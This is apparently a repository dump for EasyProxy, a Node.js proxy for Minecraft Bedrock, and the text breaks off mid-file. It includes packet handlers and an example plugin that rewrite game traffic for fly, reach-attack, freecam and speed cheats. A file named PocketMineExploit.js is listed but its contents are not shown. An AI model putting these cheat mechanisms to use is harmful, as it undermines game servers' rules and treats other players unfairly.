├── .gitignore ├── software ├── src │ ├── effect │ │ ├── EffectMap.js │ │ ├── Effect.js │ │ └── EffectIds.js │ ├── network │ │ ├── mcpe │ │ │ └── LoginHandler.js │ │ ├── receive │ │ │ ├── TextPacket.js │ │ │ ├── AddPlayerPacket.js │ │ │ ├── PlayStatusPacket.js │ │ │ ├── SkinPacket.js │ │ │ ├── SetScore.js │ │ │ ├── SetDisplayObjective.js │ │ │ ├── UpdateAbilitiesPacket.js │ │ │ ├── JoinPacket.js │ │ │ ├── ResourcePacksInfo.js │ │ │ ├── DisconnectPacket.js │ │ │ ├── InventorySlotPacket.js │ │ │ ├── SetTimePacket.js │ │ │ ├── InventoryContentPacket.js │ │ │ ├── StartGamePacket.js │ │ │ ├── EntityEvent.js │ │ │ ├── ResourcePackStack.js │ │ │ ├── TransferPacket.js │ │ │ ├── SetEntityMotion.js │ │ │ ├── ModalFormRequestPacket.js │ │ │ ├── SetEntityDataPacket.js │ │ │ ├── MoveEntityPacket.js │ │ │ ├── AvailableCommandsPacket.js │ │ │ └── UpdateAttributesPacket.js │ │ ├── send │ │ │ ├── PlayerSkinPacket.js │ │ │ ├── AnimatePacket.js │ │ │ ├── MobEquipmentPacket.js │ │ │ ├── PlayerAuthInputPacket.js │ │ │ ├── ResourcePackClientResponse.js │ │ │ ├── LevelSoundEventPacket.js │ │ │ ├── EmotePacket.js │ │ │ ├── InventoryTransactionPacket.js │ │ │ ├── ModalFormResponsePacket.js │ │ │ ├── TextPacket.js │ │ │ ├── CommandRequestPacket.js │ │ │ └── SetLocalPlayerAsInitializedPacket.js │ │ └── Packet.js │ ├── event │ │ ├── EventManager.js │ │ ├── list │ │ │ ├── send │ │ │ │ ├── PlayerJoinEvent.js │ │ │ │ ├── PlayerInteractEvent.js │ │ │ │ ├── PlayerJumpEvent.js │ │ │ │ ├── PlayerChatEvent.js │ │ │ │ ├── PlayerCommandProcessEvent.js │ │ │ │ └── PlayerEmoteEvent.js │ │ │ └── receive │ │ │ │ └── PlayerUpdateAttributesEvent.js │ │ └── Event.js │ ├── ConsoleSender.js │ ├── command │ │ ├── default │ │ │ ├── StopCommand.js │ │ │ ├── FormCommand.js │ │ │ ├── ProxyCommand.js │ │ │ ├── PluginHelpCommand.js │ │ │ ├── PluginCommands.js │ │ │ ├── ListCommand.js │ │ │ ├── AboutCommand.js │ │ │ └── TransferCommand.js │ │ ├── Command.js │ │ ├── CommandMap.js │ │ └── ConsoleCommand.js │ ├── entity │ │ ├── EntityBoundingBox.js │ │ └── EntityManager.js │ ├── pack │ │ ├── task │ │ │ └── ResourcePackSendData.js │ │ ├── PackSend.js │ │ ├── types │ │ │ ├── PackManifest.js │ │ │ └── ResourcePack.js │ │ └── PackManager.js │ ├── form │ │ ├── FormID.js │ │ ├── SimpleForm.js │ │ ├── Form.js │ │ └── CustomForm.js │ ├── player │ │ ├── HealthManager.js │ │ ├── HungerManager.js │ │ ├── EffectManager.js │ │ ├── WorldManager.js │ │ ├── InventoryManager.js │ │ └── PocketMineExploit.js │ ├── utils │ │ ├── TitleTask.js │ │ ├── WebHook.js │ │ └── webhook │ │ │ ├── Webhook.js │ │ │ ├── Message.js │ │ │ └── Embed.js │ ├── VersionInfo.js │ ├── task │ │ ├── TaskManager.js │ │ └── Task.js │ ├── packet │ │ ├── UpdateAbilitiesPacket.js │ │ ├── RemoveEntityPacket.js │ │ ├── SetPlayerGameTypePacket.js │ │ ├── ToastRequestPacket.js │ │ ├── SetTimePacket.js │ │ ├── LevelEventPacket.js │ │ ├── SetDisplayObjectivePacket.js │ │ ├── ModalFormRequestPacket.js │ │ ├── TransferPacket.js │ │ ├── SetScorePacket.js │ │ ├── MobEffectPacket.js │ │ ├── SetTitlePacket.js │ │ ├── PlayerSkinPacket.js │ │ ├── SimpleFormRequestPacket.js │ │ ├── UpdateAttributesPacket.js │ │ ├── SetEntityMotionPacket.js │ │ ├── MovePlayerPacket.js │ │ ├── TextPacket.js │ │ ├── AddEntityPacket.js │ │ ├── AddPlayerPacket.js │ │ └── PlayerAuthInputPacket.js │ ├── fakePlayer │ │ └── FakePlayer.js │ ├── item │ │ └── Item.js │ ├── format │ │ └── TextFormat.js │ ├── NetworkSession.js │ ├── EasyProxy.js │ ├── plugin │ │ ├── PluginLoader.js │ │ ├── PluginBase.js │ │ └── PluginManager.js │ ├── EasyProxyInfo.js │ ├── ServerInfo.js │ ├── lang │ │ ├── eng.json │ │ └── fra.json │ ├── scoreboard │ │ └── Scoreboard.js │ ├── waypoints │ │ └── Waypoints.js │ ├── Position.js │ └── logger │ │ └── Logger.js ├── node_modules │ └── bedrock-protocol │ │ ├── .gitpod │ │ ├── docs │ │ ├── AUTHORS.md │ │ └── FAQ.md │ │ ├── src │ │ ├── handshake │ │ │ ├── constants.js │ │ │ ├── loginVerify.js │ │ │ └── login.js │ │ ├── titles │ │ │ └── TitlesID.js │ │ ├── createServer.js │ │ ├── datatypes │ │ │ ├── util.js │ │ │ └── varlong.js │ │ ├── rakWorker.js │ │ ├── server │ │ │ └── advertisement.js │ │ ├── options.js │ │ ├── transforms │ │ │ ├── framer.js │ │ │ ├── encryption.js │ │ │ └── serializer.js │ │ └── createClient.js │ │ ├── .gitpod.DockerFile │ │ ├── index.js │ │ ├── LICENSE │ │ ├── package.json │ │ ├── tools │ │ ├── compileProtocol.js │ │ └── genPacketDumps.js │ │ └── types │ │ └── Item.js ├── help │ ├── for-dev │ │ ├── Exemple │ │ │ ├── plugin.json │ │ │ └── src │ │ │ │ └── Zwuiix │ │ │ │ ├── Main.js │ │ │ │ └── commands │ │ │ │ └── SpeedCommand.js │ │ ├── JoinForm │ │ │ ├── plugin.json │ │ │ └── src │ │ │ │ └── JoinForm │ │ │ │ ├── Main.js │ │ │ │ └── Events.js │ │ └── ScoreboardExemple │ │ │ ├── plugin.json │ │ │ └── src │ │ │ └── Scoreboard │ │ │ ├── Main.js │ │ │ ├── Events.js │ │ │ └── task │ │ │ └── ScoreboardTask.js │ ├── CONNECT.MD │ ├── INSTALL.MD │ └── PLUGIN.MD ├── package.json └── index.js ├── easyproxy.json ├── server.json ├── .idea ├── .gitignore └── EasyProxy.iml ├── install.cmd ├── .github ├── ISSUE_TEMPLATE │ └── feature_request.md └── FUNDING.yml ├── README.md └── start.cmd /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.xml 3 | -------------------------------------------------------------------------------- /software/src/effect/EffectMap.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | REMOVE: 3, 3 | ADD: 1 4 | }; -------------------------------------------------------------------------------- /software/src/network/mcpe/LoginHandler.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | MCPE_VERSION: "1.20.0" 3 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/.gitpod: -------------------------------------------------------------------------------- 1 | image: 2 | file: .gitpod.DockerFile 3 | tasks: 4 | - command: npm install -------------------------------------------------------------------------------- /easyproxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "settings": { 3 | "shutdown-message": "§cProxy closed", 4 | "enable-dev-builds": false 5 | } 6 | } -------------------------------------------------------------------------------- /software/src/network/receive/TextPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "text", 3 | 4 | receive(Player, packet) 5 | { 6 | } 7 | } -------------------------------------------------------------------------------- /software/src/network/receive/AddPlayerPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "add_player", 3 | 4 | receive(Player, packet) 5 | { 6 | } 7 | } -------------------------------------------------------------------------------- /server.json: -------------------------------------------------------------------------------- 1 | { 2 | "address": "127.0.0.1", 3 | "port": 19132, 4 | 5 | "lang": "eng", 6 | 7 | "destHost": "IP ADDRESS", 8 | "destPort": 19132 9 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/docs/AUTHORS.md: -------------------------------------------------------------------------------- 1 | mhsjlw @mhsjlw 2 | Romain Beaumont @rom1504 3 | Filiph Sandström @filfat 4 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /software/help/for-dev/Exemple/plugin.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ExemplePlugin", 3 | "author": "Zwuiix", 4 | "api": "1.0.1", 5 | "version": 1, 6 | "main": "src/Zwuiix/Main", 7 | "description": "This is a exemple plugin!" 8 | } -------------------------------------------------------------------------------- /software/src/event/EventManager.js: -------------------------------------------------------------------------------- 1 | let events = []; 2 | module.exports = { 3 | register(event) 4 | { 5 | events.push(event); 6 | }, 7 | 8 | getALl() 9 | { 10 | return events; 11 | } 12 | } -------------------------------------------------------------------------------- /software/help/for-dev/JoinForm/plugin.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "JoinForm", 3 | "author": "Zwuiix, UnChatSauvage", 4 | "api": "1.0.1", 5 | "version": 1, 6 | "main": "src/JoinForm/Main", 7 | "description": "Plugin par l'équipe de EasyProxy" 8 | } -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerJoinEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerJoinEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | } 8 | module.exports = PlayerJoinEvent; -------------------------------------------------------------------------------- /software/help/for-dev/ScoreboardExemple/plugin.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Scoreboard", 3 | "author": "Zwuiix, UnChatSauvage", 4 | "api": "1.0.1", 5 | "version": 1, 6 | "main": "src/Scoreboard/Main", 7 | "description": "Plugin par l'équipe de EasyProxy" 8 | } -------------------------------------------------------------------------------- /software/src/network/receive/PlayStatusPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "play_status", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | receive(Player, packet) 9 | { 10 | } 11 | } -------------------------------------------------------------------------------- /software/src/network/receive/SkinPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "player_skin", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | receive(Player, packet) 9 | { 10 | 11 | } 12 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/handshake/constants.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | PUBLIC_KEY: 'MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE8ELkixyLcwlZryUQcu1TvPOmI2B7vX83ndnWRUaXm74wFfa5f/lwQNTfrLVHa2PmenpGI6JhIMUJaWZrjmMj90NoKNFSNBuKdm8rYiXsfaz3K36x/1U26HpG0ZxK/V1V' 3 | } 4 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/.gitpod.DockerFile: -------------------------------------------------------------------------------- 1 | FROM gitpod/workspace-full:latest 2 | 3 | RUN bash -c ". .nvm/nvm.sh \ 4 | && nvm install 14 \ 5 | && nvm use 14 \ 6 | && nvm alias default 14" 7 | 8 | RUN echo "nvm use default &>/dev/null" >> ~/.bashrc.d/51-nvm-fix -------------------------------------------------------------------------------- /software/src/network/receive/SetScore.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "set_score", 3 | 4 | receive(Player, packet) 5 | { 6 | if(Player.isScoreboard()){ 7 | packet.params.entries=Player.getScoreboardContent().getEntries(); 8 | } 9 | } 10 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/titles/TitlesID.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | 1: "1739947436", // ANDROID 3 | 2: "1810924247", // IOS 4 | 7: "896928775", // WINDOWS 5 | 11: "2044456598", // PLAYSTATION 6 | 12: "2047319603", // NINTENDO 7 | 13: "1828326430", // XBOX 8 | } -------------------------------------------------------------------------------- /software/src/network/send/PlayerSkinPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "player_skin", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | send(Player, packet) 9 | { 10 | Player.setSkinData(packet.params.skin.skin_data); 11 | } 12 | } -------------------------------------------------------------------------------- /install.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | TITLE EasyProxy proxy software for Minecraft: Bedrock Edition 3 | 4 | cd /d %~dp0 5 | set initial_path=%cd% 6 | 7 | cd software 8 | set software_path=%cd% 9 | 10 | echo Loading... 11 | cd %software_path% 12 | start cmd /k npm i 13 | 14 | cd %initial_path% 15 | 16 | start start.cmd -------------------------------------------------------------------------------- /.idea/EasyProxy.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerInteractEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerInteractEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | getPlayer() 9 | { 10 | return super.getPlayer(); 11 | } 12 | 13 | } -------------------------------------------------------------------------------- /software/src/network/receive/SetDisplayObjective.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "set_display_objective", 3 | 4 | receive(Player, packet) 5 | { 6 | if(Player.isScoreboard()){ 7 | packet.params.display_name=Player.getScoreboardContent().getScoreboardName(); 8 | } 9 | } 10 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/createServer.js: -------------------------------------------------------------------------------- 1 | const { Server } = require('./server') 2 | 3 | function createServer (options) { 4 | if (!options.port) options.port = 19132 5 | const server = new Server(options) 6 | server.listen() 7 | return server 8 | } 9 | 10 | module.exports = { createServer } 11 | -------------------------------------------------------------------------------- /software/src/ConsoleSender.js: -------------------------------------------------------------------------------- 1 | const Logger = require("./logger/Logger"); 2 | const ConsoleCommand = require("./command/ConsoleCommand"); 3 | 4 | class ConsoleSender 5 | { 6 | constructor() {} 7 | 8 | sendMessage(str) 9 | { 10 | Logger.info(str); 11 | } 12 | } 13 | module.exports = ConsoleSender; -------------------------------------------------------------------------------- /software/help/CONNECT.MD: -------------------------------------------------------------------------------- 1 | # How to connect to the proxy? 2 | 3 | #### First step 4 | So, if you are here, I think you already installed the proxy. 5 | 6 | Now, if you want to connect to the proxy, launch your Minecraft, go in `Play` -> `Servers` -> `Add Server` and put the ip & the port you entered in the `server.json` file (address & port) -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerJumpEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerJumpEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | getPlayer() 9 | { 10 | return super.getPlayer(); 11 | } 12 | } 13 | 14 | module.exports = PlayerJumpEvent; -------------------------------------------------------------------------------- /software/src/network/receive/UpdateAbilitiesPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "update_abilities", 3 | 4 | receive(Player, packet) 5 | { 6 | if(Player.getCheatManager().isFly()){ 7 | packet.params.abilities=Player.getAbilities().abilities[0]; 8 | }else { 9 | Player.setAbilities(packet.params); 10 | } 11 | } 12 | } -------------------------------------------------------------------------------- /software/src/event/list/receive/PlayerUpdateAttributesEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerUpdateAttributesEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | getAttributes() 9 | { 10 | return this.packet.params.attributes; 11 | } 12 | } 13 | module.exports = PlayerUpdateAttributesEvent; -------------------------------------------------------------------------------- /software/src/network/receive/JoinPacket.js: -------------------------------------------------------------------------------- 1 | const {Server} = require("../../Server"); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const Scoreboard = require("../../scoreboard/Scoreboard"); 4 | module.exports = { 5 | name: "join", 6 | 7 | /** 8 | * @param Player {Player} 9 | * @param packet {Packet} 10 | */ 11 | receive(Player, packet) 12 | { 13 | } 14 | } -------------------------------------------------------------------------------- /software/help/for-dev/JoinForm/src/JoinForm/Main.js: -------------------------------------------------------------------------------- 1 | const PluginBase = require("../../../../../src/plugin/PluginBase"); 2 | const EventManager = require("../../../../../src/event/EventManager"); 3 | const Events = require("./Events"); 4 | 5 | class Main extends PluginBase 6 | { 7 | onEnable() { 8 | super.onEnable(); 9 | EventManager.register(new Events()); 10 | } 11 | } 12 | module.exports = Main; -------------------------------------------------------------------------------- /software/help/for-dev/Exemple/src/Zwuiix/Main.js: -------------------------------------------------------------------------------- 1 | const PluginBase = require("../../../../../src/plugin/PluginBase"); 2 | const CommandMap = require("../../../../../src/command/CommandMap"); 3 | 4 | class Main extends PluginBase 5 | { 6 | onEnable() { 7 | super.onEnable(); 8 | CommandMap.getInstance().register(this.getDataPlugin() + '/src/Zwuiix/commands/SpeedCommand.js'); 9 | } 10 | } 11 | module.exports = Main; -------------------------------------------------------------------------------- /software/src/command/default/StopCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | class StopCommand extends Command 4 | { 5 | constructor() { 6 | super("stop", "Allows you to stop the scipt you are currently using!."); 7 | } 8 | 9 | onRun(player, args) 10 | { 11 | ServerInfo.getServer().shutdown(); 12 | } 13 | } 14 | module.exports = StopCommand; -------------------------------------------------------------------------------- /software/src/network/receive/ResourcePacksInfo.js: -------------------------------------------------------------------------------- 1 | const PackManager = require("../../pack/PackManager"); 2 | module.exports = { 3 | name: "resource_packs_info", 4 | 5 | /** 6 | * @param player {Player} 7 | * @param packet {Packet} 8 | */ 9 | receive(player, packet) 10 | { 11 | let packs = PackManager.getTexturePacksInfo(); 12 | packs.forEach((pack) => packet.params.texture_packs.push(pack)); 13 | } 14 | } -------------------------------------------------------------------------------- /software/src/network/receive/DisconnectPacket.js: -------------------------------------------------------------------------------- 1 | const ServerInfo = require("../../ServerInfo"); 2 | const Logger = require("../../logger/Logger"); 3 | const {getLangConfig} = require("../../ServerInfo"); 4 | module.exports = { 5 | name: "disconnect", 6 | 7 | receive(Player, packet) 8 | { 9 | Logger.info(getLangConfig()["player"]["remove-player"].replace("{PLAYER}", Player.getName())); 10 | ServerInfo.getServer().removePlayer(Player); 11 | } 12 | } -------------------------------------------------------------------------------- /software/src/network/receive/InventorySlotPacket.js: -------------------------------------------------------------------------------- 1 | const Item = require("../../item/Item"); 2 | module.exports = { 3 | name: "inventory_slot", 4 | 5 | /** 6 | * @param Player {Player} 7 | * @param packet {Packet} 8 | */ 9 | receive(Player, packet) 10 | { 11 | if(packet.params.window_id !== "inventory")return; 12 | let item = new Item(packet.params); 13 | Player.getInventory().setItemBySlot(packet.params.slot, item); 14 | } 15 | } -------------------------------------------------------------------------------- /software/help/for-dev/ScoreboardExemple/src/Scoreboard/Main.js: -------------------------------------------------------------------------------- 1 | const PluginBase = require("../../../../../src/plugin/PluginBase"); 2 | const EventManager = require("../../../../../src/event/EventManager"); 3 | const Events = require("./Events"); 4 | const TaskManager = require("../../../../../src/task/TaskManager"); 5 | 6 | class Main extends PluginBase 7 | { 8 | onEnable() { 9 | super.onEnable(); 10 | EventManager.register(new Events()); 11 | } 12 | } 13 | module.exports = Main; -------------------------------------------------------------------------------- /software/src/network/send/AnimatePacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "animate", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | send(Player, packet) 9 | { 10 | if((Player.getCheatManager().isReach() && Player.getCheatManager().hasAttackPossible())){ 11 | Player.getCheatManager().setHasAttackPossible(false); 12 | Player.attack(Player.getCheatManager().getAttackPossible().id); 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerChatEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerChatEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | /** 9 | * @returns {string} 10 | */ 11 | getMessage() 12 | { 13 | return this.packet.params.message; 14 | } 15 | 16 | /** 17 | * @param value {string} 18 | */ 19 | setMessage(value) 20 | { 21 | this.packet.params.message=value; 22 | } 23 | } 24 | module.exports = PlayerChatEvent; -------------------------------------------------------------------------------- /software/help/INSTALL.MD: -------------------------------------------------------------------------------- 1 | # How to install EasyProxy ? 2 | 3 | #### First Step 4 | To install Easy Proxy, click on the "Releases" button, then download EasyInstaller.exe 5 | 6 | *require [Git](https://git-scm.com/download/win) and [NodeJS](https://nodejs.org/en/download/)* 7 | 8 | After that, go in the folder the installer created and config the proxy with the `server.json` file. 9 | 10 | Then start the proxy using `node index.js` then connect to your proxy and enjoy! (See [Connect.MD](https://github.com/Zwuiix-cmd/EasyProxy/blob/V1/help/CONNECT.MD) for connection help) -------------------------------------------------------------------------------- /software/src/entity/EntityBoundingBox.js: -------------------------------------------------------------------------------- 1 | class EntityBoundingBox 2 | { 3 | height = 1.7999999523162842; 4 | width = 0.6000000238418579; 5 | 6 | constructor(height, width) 7 | { 8 | this.height=height; 9 | this.width=width; 10 | } 11 | 12 | /** 13 | * @return {number} 14 | */ 15 | getHeight() 16 | { 17 | return this.height; 18 | } 19 | 20 | /** 21 | * @return {number} 22 | */ 23 | getWidth() 24 | { 25 | return this.width; 26 | } 27 | } 28 | module.exports = EntityBoundingBox; -------------------------------------------------------------------------------- /software/src/pack/task/ResourcePackSendData.js: -------------------------------------------------------------------------------- 1 | const Task = require('../../task/Task'); 2 | const PackManager = require("../PackManager"); 3 | 4 | class ResourcePackSendData extends Task 5 | { 6 | nextTick = 2; 7 | 8 | constructor() 9 | { 10 | super(1, 1000, {}); 11 | } 12 | 13 | onRun() 14 | { 15 | this.ticks--; 16 | if(this.nextTick <= 0){ 17 | this.nextTick = 2; 18 | PackManager.getAllPacketSend().forEach((pack) => pack.tick()); 19 | } 20 | } 21 | } 22 | module.exports = ResourcePackSendData; -------------------------------------------------------------------------------- /software/src/network/send/MobEquipmentPacket.js: -------------------------------------------------------------------------------- 1 | const Item = require("../../item/Item"); 2 | module.exports = { 3 | name: "mob_equipment", 4 | 5 | /** 6 | * @param Player {Player} 7 | * @param packet {Packet} 8 | */ 9 | send(Player, packet) 10 | { 11 | if(Player.getUniqueID() !== packet.params.runtime_entity_id)return; 12 | if(packet.params.window_id !== "inventory")return; 13 | if(packet.params.slot !== packet.params.selected_slot)return; 14 | Player.getInventory().setItemInHand(new Item(packet.params)); 15 | } 16 | } -------------------------------------------------------------------------------- /software/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "EasyProxy", 3 | "version": "1.0.0", 4 | "dependencies": { 5 | "bedrock-protocol": "^3.22.0", 6 | "colors": "^1.4.0", 7 | "deg2rad": "^1.0.0", 8 | "filereader": "^0.10.3", 9 | "gkm": "^0.2.0", 10 | "ip": "^1.1.8", 11 | "js_mt_rand": "^2.1.0", 12 | "jszip": "^3.10.1", 13 | "kc-fread": "^1.0.8", 14 | "libquery": "^1.0.2", 15 | "prismarine-chunk": "^1.33.0", 16 | "prismarine-nbt": "^2.2.1", 17 | "prismarine-registry": "^1.6.0", 18 | "uuid": "^9.0.0", 19 | "xhr2": "^0.2.1" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerCommandProcessEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerCommandProcessEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | /** 9 | * @returns {string} 10 | */ 11 | getCommand() 12 | { 13 | return this.packet.params.command; 14 | } 15 | 16 | /** 17 | * @param value {string} 18 | */ 19 | setCommand(value) 20 | { 21 | this.packet.command=value; 22 | } 23 | } 24 | module.exports = PlayerCommandProcessEvent; -------------------------------------------------------------------------------- /software/src/network/send/PlayerAuthInputPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "player_auth_input", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | send(Player, packet) 9 | { 10 | let position = packet.params.position; 11 | if(Player.getCheatManager().isFreecam()){ 12 | packet.params.position=Player.getPosition().getPos(); 13 | return; 14 | } 15 | Player.setPosition({x: position.x, y: position.y, z: position.z, pitch: packet.params.pitch, yaw: packet.params.yaw}); 16 | } 17 | } -------------------------------------------------------------------------------- /software/src/form/FormID.js: -------------------------------------------------------------------------------- 1 | let ID = new Map(); 2 | let NEXT_ID = 1000000; 3 | 4 | module.exports = { 5 | 6 | setFormDataByID(id, formData) 7 | { 8 | ID.set(id, formData); 9 | }, 10 | 11 | /** 12 | * @param id 13 | * @return {any} 14 | */ 15 | getFormDataByID(id) 16 | { 17 | return ID.get(id); 18 | }, 19 | 20 | getAllForm() 21 | { 22 | return ID; 23 | }, 24 | 25 | getNextFormID() 26 | { 27 | return NEXT_ID; 28 | }, 29 | 30 | sendNextID() 31 | { 32 | NEXT_ID++; 33 | return NEXT_ID; 34 | } 35 | } -------------------------------------------------------------------------------- /software/src/player/HealthManager.js: -------------------------------------------------------------------------------- 1 | class HealthManager 2 | { 3 | player; 4 | health; 5 | 6 | /** 7 | * @param Player {Player} 8 | */ 9 | constructor(Player) 10 | { 11 | this.player = Player; 12 | this.health = this.player.health; 13 | } 14 | 15 | /** @returns {number} */ 16 | getPlayerHealth() 17 | { 18 | return this.health; 19 | } 20 | 21 | setPlayerHealth(number) 22 | { 23 | this.health = number; 24 | console.debug(`${this.player.username} health changed to ${number}`); 25 | } 26 | } 27 | 28 | module.exports = HealthManager; -------------------------------------------------------------------------------- /software/help/for-dev/Exemple/src/Zwuiix/commands/SpeedCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require("../../../../../../src/command/Command"); 2 | class SpeedCommand extends Command 3 | { 4 | constructor() 5 | { 6 | super("speed", "edit your speed", 'speed '); 7 | } 8 | 9 | onRun(Player, args) 10 | { 11 | // args[0] = "//speed" 12 | if(isNaN(args[1])) return Player.sendMessage("Arg 1 must be int"); 13 | Player.getCheatManager().setSpeedHackValue(parseFloat(args[1])); 14 | Player.getCheatManager().setSpeedHack(true); 15 | } 16 | } 17 | module.exports = SpeedCommand; -------------------------------------------------------------------------------- /software/src/form/SimpleForm.js: -------------------------------------------------------------------------------- 1 | const Form = require("./Form"); 2 | class SimpleForm extends Form 3 | { 4 | type = "form"; 5 | 6 | content = ""; 7 | buttons = []; 8 | 9 | 10 | constructor(callable) 11 | { 12 | super(callable); 13 | 14 | } 15 | 16 | /** 17 | * Enter a string so that it appears in games 18 | * @param value {string} 19 | */ 20 | setContent(value) 21 | { 22 | this.content=value; 23 | } 24 | 25 | /** @param value {string} */ 26 | addButton(value) 27 | { 28 | this.buttons.push({text: value}); 29 | } 30 | } 31 | module.exports = SimpleForm; -------------------------------------------------------------------------------- /software/src/pack/PackSend.js: -------------------------------------------------------------------------------- 1 | class PacketSend 2 | { 3 | packets = []; 4 | player; 5 | 6 | constructor(player) 7 | { 8 | this.player=player; 9 | } 10 | 11 | addPacket(packet) 12 | { 13 | this.packets.push(packet); 14 | } 15 | 16 | tick() 17 | { 18 | let packets = []; 19 | this.packets.forEach((key, value) => { 20 | if(key === 0) { 21 | this.player.sendDataPacket(value); 22 | console.log(value); 23 | } 24 | if(key !== 0) packets.push(value); 25 | }); 26 | this.packets=packets; 27 | } 28 | } 29 | module.exports = PacketSend; -------------------------------------------------------------------------------- /software/src/network/receive/SetTimePacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "set_time", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | receive(Player, packet) 9 | { 10 | let time = packet.params.time; 11 | Player.getWorldManager().setTimeServer(time); 12 | if(!Player.getWorldManager().getTimeCycle()){ 13 | packet.params.time=Player.getWorldManager().getTime(); 14 | if(Player.getWorldManager().getTime() === 0){ 15 | time++; 16 | Player.setTimeServer(time); 17 | Player.setTime(time); 18 | } 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /software/src/command/default/FormCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const SimpleForm = require("../../form/SimpleForm"); 4 | const {Player} = require("../../player/Player"); 5 | class FormCommand extends Command 6 | { 7 | constructor() { 8 | super("form", "Test"); 9 | } 10 | 11 | onRun(player, args) 12 | { 13 | let form = new SimpleForm(this, 1); 14 | form.setTitle("EasyProxy"); 15 | form.setContent("Test <3"); 16 | form.addButton("Test1"); 17 | form.addButton("Test2"); 18 | player.sendSimpleForm(form); 19 | } 20 | } 21 | module.exports = FormCommand; -------------------------------------------------------------------------------- /software/src/event/Event.js: -------------------------------------------------------------------------------- 1 | class Event 2 | { 3 | player; 4 | packet; 5 | 6 | canceled = false; 7 | 8 | constructor(Player, packet) 9 | { 10 | this.player=Player; 11 | this.packet=packet; 12 | } 13 | 14 | /** 15 | * @returns {Player} 16 | */ 17 | getPlayer() 18 | { 19 | return this.player; 20 | } 21 | 22 | /** 23 | * @param value {boolean} 24 | */ 25 | cancel(value = true) 26 | { 27 | this.canceled=value; 28 | } 29 | 30 | /** 31 | * @return {boolean} 32 | */ 33 | isCancelled() 34 | { 35 | return this.canceled; 36 | } 37 | } 38 | module.exports = Event; -------------------------------------------------------------------------------- /software/src/network/receive/InventoryContentPacket.js: -------------------------------------------------------------------------------- 1 | const Item = require("../../item/Item"); 2 | module.exports = { 3 | name: "inventory_content", 4 | 5 | /** 6 | * @param Player {Player} 7 | * @param packet {Packet} 8 | */ 9 | receive(Player, packet) 10 | { 11 | if(packet.params.window_id 